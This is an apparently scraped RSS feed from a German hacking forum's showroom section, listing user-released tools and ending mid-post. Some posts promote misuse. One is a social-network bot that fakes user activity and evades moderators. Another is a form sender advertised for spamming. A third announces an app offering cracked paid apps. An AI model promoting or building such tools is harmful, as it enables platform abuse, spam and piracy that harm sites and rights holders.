			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=5330&amp;d=1380352761">ClipboardTool.rar</a> 
(46,5 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/clipboardtool-26812</guid>
		</item>
		<item>
			<title>Release MangoEJ - JappyBot</title>
			<link>showroom-102/mangoej-jappybot-26536?goto=newpost</link>
			<pubDate>Mon, 16 Sep 2013 20:18:37 GMT</pubDate>
			<description>*Dieses Release wird nur noch über die U-Hacks Downloadbase aktualisiert und supported: http://u-hacks.net/downloads/3-sonstige-bots/19-mangoej*...</description>
			<content:encoded><![CDATA[<div><b><font size="4"><font color="#ff0000">Dieses Release wird nur noch über die U-Hacks Downloadbase aktualisiert und supported: </font><a href="http://u-hacks.net/downloads/3-sonstige-bots/19-mangoej" target="_blank" rel="nofollow"><font color="#ff0000">http://u-hacks.net/downloads/3-sonstige-bots/19-mangoej</font></a><font color="#ff0000"><br />
</font></font></b><br />
Hallo,<br />
<br />
ich möchte euch den MangoEJ vorstellen, ein JappyBot<br />
für die Social Community <a href="http://www.jappy.de/" target="_blank" rel="nofollow"> Jappy</a><br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">########################################################################################################################################<br />
MangoEJ - JappyBot<br />
<br />
Der MangoEJ Jappybot ermöglicht ein vollautomatisches Interagieren auf der sozialen Plattform<br />
Jappy.De.<br />
Man loggt sich ein, der Bot kann nach erfolgreichem Login per Klick gestartet werden und <br />
besucht schon nach kurzer Zeit die gefundenen Benutzer, um auf ihrer Seite die<br />
individuell eingestellten Interaktionen auszuführen(Gb Einträge, Fotobewerten und Ähnliches).<br />
<br />
Die Benutzer werden also besucht, um bei ihnen<br />
-einen Gästebucheintrag zu erstellen, <br />
-ein Fotokommentar zu schreiben,<br />
-das Profilbild zu bewerten oder einfach eine Nachricht zu hinterlassen.<br />
<br />
Dem Jappysystem wird also eine Aktivität vorgetäuscht, <br />
die der Bot für euch vollbracht hat.Dadurch erhält man &quot;Erfahrungspunkte&quot; die <br />
den Rang steigern und die Anzahl der Credits steigern.<br />
<br />
<br />
<br />
#Hauptfunktionen: <br />
-Nick Besuchen<br />
-Nachricht senden<br />
-Gb Eintrag erstellen<br />
-Fotokommentar erstellen<br />
-Foto bewerten<br />
<br />
#Datenanreicherung<br />
-Eigene Nickliste<br />
-Flirtsuche<br />
-Standardsuche<br />
<br />
Funktionen der einzelnen Tabs:<br />
<br />
#Main Tab<br />
<br />
-Module automatisch wieder aktivieren,<br />
sofern Account einen Relogin durchgeführt hat(Restart Modules on Relogin)<br />
-Http Proxy benutzen beim Botten<br />
-Pure Botting: Die PureBotting funktion ermöglicht pures Botting, ohne Schutz vor Admins/Moderatoren etc.<br />
PureBotting wird ebenfalls verwendet, wenn man einen alten Account hat <br />
und immer beim Botten ausgeloggt wird.Hauptfunktion: Pures ressourcensparendes Botten ohne Schutz<br />
<br />
<br />
#Protection Tab<br />
<br />
-Reaktion auf User die in der BlackUserList stehen(Jappy Teammitglieder können per Button geladen werden)<br />
-Reaktion auf alle User die mit unserem Nickname interagieren, interagieren repräsentiert hier folgendes:<br />
Wir erhalten eine Nachricht, einen Gästebucheintrag oder der Nutzer war auf unserem Profil<br />
-Nick soll sich Ausloggen, den Nick ignorieren oder den Nick besuchen -&gt; bei Interaktion<br />
-Nick soll den Onlinestatus verändern<br />
-Nick soll einen Ticker erstellen(Randomtexte die geschlechterspezifisch ausgewählt werden können)<br />
-Nick soll den interagierenden Usern eine/n Nachricht/Gb Eintrag/Fotokommentar erstellen<br />
<br />
#Botting Tab<br />
-Enthält die Statistik und Einstellungen für das Botten</code><hr />
</div><br />
<br />
<img src="http://i.imagebanana.com/img/5llytr0o/1.png" border="0" alt="" /><br />
<img src="http://i.imagebanana.com/img/anekp8r3/2.png" border="0" alt="" /><br />
<img src="http://i.imagebanana.com/img/hmuab8ri/3.png" border="0" alt="" /><br />
<img src="http://i.imagebanana.com/img/g5pckhb9/4.png" border="0" alt="" /><br />
<img src="http://i.imagebanana.com/img/ft0d6oog/5.png" border="0" alt="" /><br />
<br />
<br />
Virustotal ist im Ordner! Ihr könnt die Datei auf Virustotal einfügen und seht,<br />
dass die Datei bereits gescannt wurde mit einer Rate von 0 Viren.<br />
<br />
Größe(nur .Exe Datei, ohne Files) : <b><font color="#EE82EE">1.3 Mb</font></b>(durch die eingebundenen Styles + die Klassenbibliothek für alle Funktionen)<br />
<br />
Größe(.Rar Archiv) : <b><font color="#FFA500">1.6 Mb</font></b><br />
Voraussetzungen: <b><font color="#FFA500">Net Framework 4.5</font></b>, <u><font color="#FFA500">eine vernünftige Internetverbindung</font></u>.<br />
<br />
Programmiert in: Vb.net (IDE Visual Studio 2012 Express Edition)<br />
<b>Download zu finden auf:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">http://www.MangoE.tk/</code><hr />
</div><font color="#FF8C00"><b><font size="5"><div style="text-align: center;">HINWEIS: MUSS MIT WINRAR 5 ENTPACKT WERDEN!</div></font></b></font><br />
<font color="#00FFFF"><br />
<b>WÜNSCHE, Bugs, Supportanfragen, Verbesserungsvorschläge können per PM oder hier im Thread gepostet werden.</b></font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/mangoej-jappybot-26536</guid>
		</item>
		<item>
			<title>Vorschau Flash Notify</title>
			<link>showroom-102/flash-notify-25948?goto=newpost</link>
			<pubDate>Sat, 24 Aug 2013 20:47:09 GMT</pubDate>
			<description>Flash Notify 
 
Anhang 4954 (https://u-labs.de/forum/attachment.php?attachmentid=4954) 
 
 
 
Flash Notify nutzt den Kamera-Blitz deines Smartphones...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font size="6"><span style="font-family: arial black"><font color="#ffffff">Flash Notify</font><br />
</span></font><br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4954&amp;d=1377374952" border="0" alt="Name:  7719Hf.png
Hits: 401
Größe:  12,0 KB" class="thumbnail" style="float:CONFIG" /><br />
</div><br />
<br />
Flash Notify nutzt den Kamera-Blitz deines Smartphones um dich über eingehende Nachrichten, Anrufe und Benachrichtigungen zu informieren.<br />
<br />
Das Projekt  entstand aus langweile und weil glaub hier jemand danach gefragt hatte.. Naja sobald die App voll fertig ist werde ich sie hier mit Source veröffentlichen.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4954&amp;stc=1&amp;d=1377374952" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4963&amp;stc=1&amp;d=1377378096" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4964&amp;stc=1&amp;d=1377378136" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4966&amp;stc=1&amp;d=1377378173" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4967&amp;stc=1&amp;d=1377378181" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">showroom-102/flash-notify-25948</guid>
		</item>
		<item>
			<title>Release POST it!</title>
			<link>showroom-102/post-it-25636?goto=newpost</link>
			<pubDate>Sun, 11 Aug 2013 14:56:08 GMT</pubDate>
			<description>Hi, 
mir war gestern in der Nacht ein bisschen langweilig und dachte mir ich code irgendetwas. 
Rausgekommen ist ein Programm mit dem man...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
mir war gestern in der Nacht ein bisschen langweilig und dachte mir ich code irgendetwas.<br />
Rausgekommen ist ein Programm mit dem man Webformulare mittels POST einfach nur normal<br />
wegschicken oder auch spamen kann.^^ Mehr brauch ich dazu glaub ich nicht sagen xD<br />
<br />
Screen:<br />
<a href="http://www.u-img.net/view/6798Nb.png" target="_blank"><img src="http://u-img.net/img/6798Nb_thumb.png" border="0" alt="" /></a><br />
<br />
VT: <br />
<a href="https://www.virustotal.com/de/file/489b4a57a5a03552df8bd18b9714945620d9d705cf016653cfca09463b9d2e7c/analysis/1376232609/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/4...is/1376232609/</a><br />
<br />
<br />
MfG</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=4873&amp;d=1376232938">postit.rar</a> 
(21,7 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/post-it-25636</guid>
		</item>
		<item>
			<title>Release HackShield</title>
			<link>showroom-102/hackshield-25402?goto=newpost</link>
			<pubDate>Tue, 30 Jul 2013 07:47:54 GMT</pubDate>
			<description>*Hallo Community*, 
ich dachte ich zeige euch mal ein altes Werk von mir und stelle das Projekt zum Download zur Verfügung. 
 
Es handelt sich...</description>
			<content:encoded><![CDATA[<div><b>Hallo Community</b>,<br />
ich dachte ich zeige euch mal ein altes Werk von mir und stelle das Projekt zum Download zur Verfügung.<br />
<br />
Es handelt sich hierbei um ein HackShield, welches in der Metin2-Szene öfters mal verwendet wurde um gezielt gegen Hacks vorzugehen.<br />
<br />
Das HackShield verfügt über einen Suchlauf im Prozess, dieser sucht im Prozess gezielt nach Blacklisted MD5-Werten. (Diese werden im Quellcode festgelegt)<br />
<br />
Ich weiß dass es nicht sehr effektiv ist und dass man es relativ leicht umgehen kann, aber vielleicht kann es ja jemand gebrauchen.<br />
<br />
<b>Programmiersprache :</b> Cpp<br />
<b>Ein kleiner Ausschnitt :</b><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCpp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: cpp;">
#include &lt;Windows.h&gt;<br />
#include &lt;Psapi.h&gt;<br />
#pragma comment(lib,&quot;Psapi.lib&quot;)<br />
#include &quot;md5file.h&quot;<br />
<br />
char *DllFiles&#91;&#93; =<br />
{<br />
	&quot;18b355c26590c6d3af845b7b3dc0e47f&quot;,<br />
        &quot;18b355c26590c6d3af845b7b3dc0e47f&quot;<br />
};<br />
<br />
#pragma region unkreativertext<br />
<br />
char ccbuf&#91;1024&#93;;<br />
HMODULE hMods&#91;1024&#93;;<br />
TCHAR szModName&#91;MAX_PATH&#93;;<br />
MD5 md5;<br />
<br />
void DisplayDetect(){<br />
	strcpy(ccbuf, &quot;DETECTED_INVALID_FILE:\n&quot;);<br />
	strcat(ccbuf, szModName);<br />
	MessageBox(NULL, ccbuf, &quot;HackShield&quot;, MB_OK);	<br />
}<br />
<br />
void CheckDlls(){<br />
    DWORD cbNeeded;<br />
    unsigned int i;<br />
	EnumProcessModules(GetCurrentProcess(), hMods, sizeof(hMods), &amp;cbNeeded);<br />
	for ( i = 0; i &lt; (cbNeeded / sizeof(HMODULE)); i++ )<br />
        {<br />
<br />
            if ( GetModuleFileNameEx( GetCurrentProcess(), hMods&#91;i&#93;, szModName,<br />
                                      sizeof(szModName) / sizeof(TCHAR)))<br />
            {<br />
<br />
				char* md5code = md5.MD5File(szModName);<br />
<br />
				for (int j = 0; j &lt; (sizeof(DllFiles) / sizeof(LPTSTR)); j++)<br />
				{<br />
					if(strcmp(md5code, DllFiles&#91;j&#93;) == 0){<br />
						CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DisplayDetect, NULL, 0, NULL);<br />
						Sleep(5000);<br />
						TerminateProcess(GetCurrentProcess(), 1);<br />
					}<br />
				} <br />
            }<br />
        }<br />
}<br />
<br />
void uhacks(){<br />
    while (1)<br />
    {<br />
		try{<br />
		CheckDlls();<br />
		}<br />
		catch(...){ }<br />
		Sleep(3000);<br />
    }<br />
}<br />
<br />
BOOL WINAPI DllMain(HINSTANCE hinstdll, DWORD fdwReason, LPVOID lpvReserved)<br />
{<br />
	switch(fdwReason)<br />
<br />
	{<br />
		case DLL_PROCESS_ATTACH:<br />
			CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)uhacks, NULL, 0, NULL);<br />
			break;<br />
	}<br />
return TRUE;<br />
}<br />
#pragma endregion
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script>
</div>
</div>
</div><br />
[SHOWTOGROUPS=2]<a href="http://www.file-upload.net/download-7900280/hackshield.zip.html" target="_blank" rel="nofollow">Download hier - Fileupload</a>[/SHOWTOGROUPS]<br />
Ein Danke wäre nett.<br />
<br />
Mit freundlichen Grüßen,<br />
<font color="#0066ff">Snooki</font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snooki</dc:creator>
			<guid isPermaLink="true">showroom-102/hackshield-25402</guid>
		</item>
		<item>
			<title>Release Hide Me</title>
			<link>showroom-102/hide-me-25230?goto=newpost</link>
			<pubDate>Mon, 22 Jul 2013 14:28:38 GMT</pubDate>
			<description><![CDATA[*_Hide Me_* 
 
 
 
Ich möchte hier mal mein kleines Tool "Hide Me" vorstellen. 
 
 
Anhang 4518...]]></description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font size="4"><b><u>Hide Me</u></b></font></div><br />
<br />
<br />
<font color="#FFFFFF">Ich möchte hier mal mein kleines Tool &quot;Hide Me&quot; vorstellen.</font><br />
<br />
<br />
<div style="text-align: center;"><img src="https://u-labs.de/forum/attachment.php?attachmentid=4518&amp;d=1374502913" border="0" alt="Name:  Hide Me.PNG
Hits: 1979
Größe:  15,4 KB" class="thumbnail" style="float:CONFIG" /></div><br />
<br />
<br />
<font color="#FFFFFF">So simpel es auch ist, für den ein oder anderen bietet sich damit vielleicht die Möglichkeit seine laufenden Programme vor neugierigen Blicken du schützen. Sei es:<br />
<br />
- im Büro für eine private E-Mail<br />
- in der Schule ein Spiel<br />
- oder zu Hause ein kleines Filmchen ;)<br />
<br />
Die Funktion des kleinen Tools wird über nur 3 Buttons gesteuert. <br />
<br />
Für Verbesserungsvorschläge bin ich natürlich sehr dankbar.</font><br />
<br />
Version: 1.0.0.0<br />
<br />
Virustotalbericht:<br />
<a href="https://www.virustotal.com/de/file/8ab6533abd68e231cfba0335361351f76a24489153c79998fa59defa14645fea/analysis/1374503033/" target="_blank" rel="nofollow">Erkennungsrate: <font color="#00FF00">0 / 47</font> </a></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4518&amp;stc=1&amp;d=1374502913" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/exe.gif" alt="Dateityp: exe" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=4519&amp;d=1374503300">Hide Me.exe</a> 
(550,5 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Next</dc:creator>
			<guid isPermaLink="true">showroom-102/hide-me-25230</guid>
		</item>
		<item>
			<title><![CDATA[[HTML5/CSS3] UHacks Elements]]></title>
			<link>showroom-102/html5-css3-uhacks-elements-23609?goto=newpost</link>
			<pubDate>Sat, 18 May 2013 18:22:46 GMT</pubDate>
			<description>Heyho, 
 
ich hatte ein bisschen langeweile und wollte mal bisschen was mit HTML5 und CSS3 rumexperimentieren. Da man damit nun einfache Grafiken...</description>
			<content:encoded><![CDATA[<div>Heyho,<br />
<br />
ich hatte ein bisschen langeweile und wollte mal bisschen was mit HTML5 und CSS3 rumexperimentieren. Da man damit nun einfache Grafiken ersetzen kann, ohne irgendwelche grafischen Fähigkeiten zu besitzen, habe ich mal ein paar grafische Elemente der U-Hacks.net Seite genommen und in HTML5 und CSS3 umgesetzt.<br />
<br />
Fangen wir mit der Navigation oben im Header an.<br />
<br />
Original:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3841&amp;d=1368900424" id="attachment3841" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=3841&amp;d=1368895233&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	topnavi_orig.png&nbsp;
Hits:	451&nbsp;
Größe:	11,9 KB&nbsp;
ID:	3841" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
HTML5 &amp; CSS3:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3842&amp;d=1368900424" id="attachment3842" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=3842&amp;d=1368895262&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	topnavi.png&nbsp;
Hits:	419&nbsp;
Größe:	10,3 KB&nbsp;
ID:	3842" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
<br />
Diejenigen, die bisher nicht verstanden haben, was ich getan habe, werden sich nun fragen: &quot;hää wo ist denn da der Unterschied?&quot;.<br />
Genau das ist der Sinn der Sache. Der Unterschied soll so gering wie möglich sein.<br />
<br />
Der Bereich im Original wurde mit Grafiken umgesetzt. Die Buttons(=Knöpfe) sowie der Hintergrund - alles mit Grafiken.<br />
Im Gegensatz zum Original wurde der Bereich aus dem zweiten Bild mit HTML5 und CSS3 realisiert - also nur mit Code/Text.<br />
<br />
Der Code für den grauen Verlauf(der Hintergrund von den Navigations-Buttons):<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCss.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: css;">
header nav#top {<br />
	height: 40px;<br />
	background-image: <br />
		-webkit-gradient(linear, left top, left bottom, from(#323232), to(#222222));<br />
	background-image: <br />
		-webkit-linear-gradient(top, #323232, #222222);<br />
	background-image: <br />
		-moz-linear-gradient(top, #323232, #222222);<br />
	background-image: <br />
		-o-linear-gradient(top, #323232, #222222);<br />
	background-image: <br />
		-ms-linear-gradient(top, #323232, #222222);<br />
}
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Der Code der Buttons sieht so aus:<br />
<br />
----------<br />
<br />
<b><font color="#FF0000">HINWEIS:</font></b> Den Teil mit <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&lt;acronym title=&quot;U-Hacks&quot;&gt;uh&lt;/acronym&gt;</code><hr />
</div>bitte mit &quot;uh&quot; ersetzen. Da liegt wohl ein Fehler vom Forum vor xD<br />
Den Code ohne diesen Fehler könnt ihr auch vom Anhang runterladen.<br />
<br />
---------<br />
<br />
Button-CSS-Code:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCss.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: css;">
/*******************************<br />
 ****** navigation button ******<br />
 *******************************/<br />
a.uh-btn-navi {<br />
	border: 1px solid #0d0d0d;<br />
	color: #016c90;<br />
	font-size: 12px;<br />
	font-family: &quot;Arial&quot;;<br />
	font-weight: bold;<br />
	text-decoration: none;<br />
<br />
	padding: 5px 18px 5px 20px;<br />
<br />
	box-shadow: <br />
		inset 1px 1px 0px #3a3a3a,<br />
		inset -1px -1px 0px #3a3a3a;<br />
<br />
	background-image: <br />
		-webkit-gradient(linear, left top, left bottom, from(#2d2d2d), color-stop(0.53, #262626), color-stop(0.53, #1a1a1a), to(#131313));<br />
	background-image: <br />
		-webkit-linear-gradient(top, #323232, #262626 53%, #1a1a1a 53%,	#131313);<br />
	background-image: <br />
		-moz-linear-gradient(top, #323232, #262626 53%, #1a1a1a 53%, #131313);<br />
	background-image: <br />
		-o-gradient(top, #323232, #262626 53%, #1a1a1a 53%, #131313);<br />
	background-image: <br />
		-ms-gradient(top, #323232, #262626 53%, #1a1a1a 53%, #131313);<br />
}<br />
<br />
a.uh-btn-navi:hover {<br />
	color: #676767;<br />
	box-shadow: <br />
		inset 1px 1px 0px #515151,<br />
		inset -1px -1px 0px #515151;<br />
}
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Die Implementation im HTML-Dokument sieht dann so aus:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&lt;a class=&quot;uh-btn-navi&quot; href=&quot;#&quot;&gt;TEXT&lt;/a&gt;</code><hr />
</div>Endergebniss:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=3843&amp;d=1368895879" border="0" alt="Name:  btn_navi_TEXT.png
Hits: 603
Größe:  1,6 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Das Ganze habe ich auch mit anderen Elementen aus der U-Hacks Seite gemacht.<br />
<br />
Alles komplett könnt ihr euch auf folgender Seite angucken:<br />
<br />
<font size="4"><a href="http://u.patwoz.de/uhacks/hc_sample/" target="_blank" rel="nofollow"><b>Demo</b></a></font><br />
(Getestet unter Chromium 26+ und Firefox 21+).<br />
<br />
Oder ihr ladet das Archiv im Anhang herunter.<br />
<br />
Ich wollt eigentlich mehr machen. Aber der Aufwand ist größer als ich zuerst dachte. Besonders, diese verschiedene Tags von den Browser(bsp.: <i>-moz-linear-gradient</i> für Mozilla Firefox), finde ich schwachsinnig. Das sollte alles vereinheitlicht werden. Damit nur ein Tag nötig ist.<br />
<br />
So, das wäre meine erste Arbeit mit HTML5 und CSS3 :P<br />
Auf jeden Fall sehr cool gemacht die neuen Features von HTML und CSS.</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3841&amp;d=1368900424" 
rel="Lightbox_190957" id="attachment3841"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=3841&amp;stc=1&amp;thumb=1&amp;d=1368895233" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	topnavi_orig.png&nbsp;
Hits:	-&nbsp;
Größe:	11,9 KB&nbsp;
ID:	3841"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=3842&amp;d=1368900424" 
rel="Lightbox_190957" id="attachment3842"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=3842&amp;stc=1&amp;thumb=1&amp;d=1368895262" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	topnavi.png&nbsp;
Hits:	-&nbsp;
Größe:	10,3 KB&nbsp;
ID:	3842"/></a>
&nbsp;

			</div>
		</fieldset>
	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=3843&amp;stc=1&amp;d=1368900480" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=3844&amp;d=1368901455">130518-2015_UHacks_HTML5_CSS3.zip</a> 
(11,9 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>patlux</dc:creator>
			<guid isPermaLink="true">showroom-102/html5-css3-uhacks-elements-23609</guid>
		</item>
		<item>
			<title>Vorschau APK-Base als WebApp mit jQuery Mobile</title>
			<link>showroom-102/apk-base-als-webapp-mit-jquery-mobile-23462?goto=newpost</link>
			<pubDate>Mon, 13 May 2013 13:37:03 GMT</pubDate>
			<description><![CDATA[Aktuell läuft ja hier (http://u-hacks.net/showroom-102/apkbase-23291/) die Diskussion um die 'APK-Base'. 
 
Ich weiß nicht genau wie weit der/die...]]></description>
			<content:encoded><![CDATA[<div>Aktuell läuft ja <a href="http://u-hacks.net/showroom-102/apkbase-23291/" target="_blank" rel="nofollow">hier</a> die Diskussion um die 'APK-Base'.<br />
<br />
Ich weiß nicht genau wie weit der/die Entwickler im Moment ist/sind aber ich verstehe den Sinn nicht ganz eine App nur für Android mit App Inventor zu entwickeln, die dann auf eine Baukasten-Homepage weiterleitet, ist doch richtig oder?<br />
<br />
Deshalb habe ich mal angefangen mit jQuery mobile eine WebApp zu entwickeln.<br />
<br />
Vorteil: alle mobilen Betriebssysteme, auch auf einem PC verwendbar, man braucht keine App+Homepage<br />
<br />
Jetzt folgen ein paar Screenshots:<br />
<br />
<a href="http://www.u-img.net/view/7988Sb.png" target="_blank"><img src="http://u-img.net/img/7988Sb_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/2996Ot.png" target="_blank"><img src="http://u-img.net/img/2996Ot_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/5013Yq.png" target="_blank"><img src="http://u-img.net/img/5013Yq_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/5020Yf.png" target="_blank"><img src="http://u-img.net/img/5020Yf_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/7029Kw.png" target="_blank"><img src="http://u-img.net/img/7029Kw_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/7038Ug.png" target="_blank"><img src="http://u-img.net/img/7038Ug_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/4055Mv.png" target="_blank"><img src="http://u-img.net/img/4055Mv_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/2060Ow.png" target="_blank"><img src="http://u-img.net/img/2060Ow_thumb.png" border="0" alt="" /></a><br />
<br />
Das Ganze kann man natürlich noch um Einiges erweitern.<br />
<br />
Meine Frage ist jetzt, ob generell Interesse an einer WebApp besteht?<br />
<br />
PS: Das soll kein eigenes Projekt werden, bin gerne dazu bereit den Quellcode dem 'Team' der Android-App zu geben.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/apk-base-als-webapp-mit-jquery-mobile-23462</guid>
		</item>
		<item>
			<title>Vorschau APKbase</title>
			<link>showroom-102/apkbase-23291?goto=newpost</link>
			<pubDate>Thu, 09 May 2013 16:20:04 GMT</pubDate>
			<description>*Eine Test-Version für alle, wird heute bzw. Sonntag Released, seid gespannt.* 
 
Hallo Leute, 
 
ich habe mich mit xX Chriss Xx besprochen und wir...</description>
			<content:encoded><![CDATA[<div><b><font color="#FF0000"><font size="4">Eine Test-Version für alle, wird heute bzw. Sonntag Released, seid gespannt.</font></font></b><br />
<br />
Hallo Leute,<br />
<br />
ich habe mich mit xX Chriss Xx besprochen und wir wollen nun eine App ganz für euch machen.<br />
<br />
Was ist so besonders an der App?<br />
<br />
Mit dieser App könnt ihr verschiedene gecrackte Games und/oder andere gecrackte Apps downloaden, die kostenpflichtigen Apps werden dort auch Gratis für euch zugänglich!<br />
<br />
Mehr Sachen werden noch bekannt gegeben.<br />
<br />
Eure Downloadmöglichkeiten werden über DropBox, Uploaded.to, share-base.bz und viele mehr, möglich sein,<br />
<br />
Hier ein kleiner Preview, diese App ist aber noch in Arbeit:<br />
<br />
<a href="http://www.u-img.net/view/5314Wf.jpg" target="_blank"><img src="http://u-img.net/img/5314Wf_thumb.jpg" border="0" alt="" /></a><br />
<br />
<br />
Wie findet ihr die Idee, eine App nur für UH zu bauen?<br />
<br />
<br />
<b><font color="#FF0000">NEW UPDATE:</font></b><br />
<br />
<div style="margin:20px; margin-top:5px">
